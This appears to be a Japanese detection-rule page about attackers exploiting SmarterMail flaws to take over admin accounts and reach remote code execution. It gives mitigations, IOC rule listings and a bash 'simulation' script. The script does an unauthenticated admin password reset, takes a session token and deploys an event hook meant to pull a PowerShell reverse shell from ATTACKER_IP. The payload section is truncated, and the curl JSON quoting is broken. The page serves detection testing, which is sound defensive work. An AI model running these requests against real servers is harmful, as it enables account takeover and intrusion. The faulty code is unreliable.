脆弱性への追跡:HuntressがSmarterMailアカウント乗っ取りからRCEに繋がる事例を発見
Detection stack
- AIDR
- Alert
- ETL
- Query
要約
Huntressは、特権アカウントの乗っ取りや、最終的にはリモートコード実行を可能にするSmarterMailの2つの欠陥の野外での悪用を観察しました。攻撃者は認証されていないパスワードリセットの流れを開始して特権トークンを取得し、次にSmarterMailの「システムイベント」を悪用してホスト偵察のためのコマンドを実行します。この活動は複数の顧客に影響を与え、広範囲で自動化された大規模な悪用の兆候を示しました。
調査
Huntressのアナリストは、パスワードリセットをトリガーし、認証し、システムイベントを構成し、攻撃者が管理するドメインを追加し、その後痕跡を消すために使用されたSmarterMail APIエンドポイントに対する一貫したHTTP POSTリクエストのシーケンスを再構築しました。このチェーンはCVE-2026-23760(特権アカウント乗っ取り)とCVE-2025-52691(任意ファイルアップロード)を対象としています。リクエストは一般的にpython-requests/2.32.4 ユーザーエージェントを使用し、オペレーターは偵察出力を含むresult.txtファイルを残しました。
緩和策
両方のCVEに対処するためにSmarterMailをビルド9511以降にアップグレードします。APIの公開を見直し、緩め、不要なシステムイベントを無効にするか制限し、アカウント、イベント、またはドメインの変更を伴う異常なAPI活動を監視します。攻撃者が作成したシステムイベントやドメインを特定し、削除して持続を排除します。
対応
疑わしいAPIコールパターンとpython-requests/2.32.4ユーザーエージェントを探し出し、不正なソースIPをブロックし、悪意のあるシステムイベントを削除します。特権証明書を直ちに回転させます。エンドポイントフォレンジックスを実行してresult.txtを見つけ、追加のペイロードが準備されているかどうかを確認します。影響を受けたユーザー/顧客に通知し、明確な修復指示を提供します。
攻撃フロー
検出
CVE-2026-23760(SmarterMail)の悪用試行(ウェブサーバー経由)の可能性
表示
検出対象のIOCs(DestinationIP):DE&THから脆弱性へ:HuntressがSmarterMailアカウント乗っ取りを発見し、RCEにつながるパート2
表示
検出対象のIOCs(DestinationIP):DE&THから脆弱性へ:HuntressがSmarterMailアカウント乗っ取りを発見し、RCEにつながるパート1
表示
検出対象のIOCs(SourceIP):DE&THから脆弱性へ:HuntressがSmarterMailアカウント乗っ取りを発見し、RCEにつながるパート1
表示
検出対象のIOCs(SourceIP):DE&THから脆弱性へ:HuntressがSmarterMailアカウント乗っ取りを発見し、RCEにつながるパート2
表示
SmarterMailアカウント乗っ取りによるRCE [Webサーバー]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインの準備フライトチェックが合格していること。
攻撃の物語とコマンド
- 偵察: 攻撃者がSmarterMailインスタンスがCVE‑2026‑23760に脆弱なバージョンで動作していることを発見する。
- パスワード強制リセット (T1098): 認証されていない
force-reset-passwordエンドポイントを使用して、特権のadminアカウントの既知のパスワードを設定する。 - 認証 (T1078): 新たに設定された認証情報を使って
authenticate-userエンドポイントでログインし、セッショントークンを取得する。 - 悪意のあるイベントフックのデプロイ (T1569): PowerShellリバースシェルを攻撃者のサーバーからホストするように指示したJSONペイロードを
event-hookにPOSTする。 - 実行のトリガー: event-hookはウェブサーバー上で自動的に動き、攻撃者にリバースシェルを生成する。
- クリーンアップ: 検出から除外された
event-hook-deleteエンドポイント経由で悪意のあるフックを削除する。
すべてのステップが、Sigmaルールの 選択 基準と一致するHTTP POSTイベントを生成する。
回帰テストスクリプト
#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMailアカウント乗っ取り&RCEシミュレーション
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. パスワードの強制リセット(認証なし)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. セッショントークンの認証と取得
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. 悪意のあるイベントフックのデプロイ(RCE)
PAYLOAD=$(cat <
クリーンアップコマンド
#!/usr/bin/env bash
# 残存する悪意あるフックを削除し、管理者パスワードをリセットします
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# 安全なパスワードで認証(既知の場合)または前のトークンを使用して
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# 悪意のあるイベントフックを削除(まだ存在する場合)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# 管理者パスワードを既知の良好な値にリセットする
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"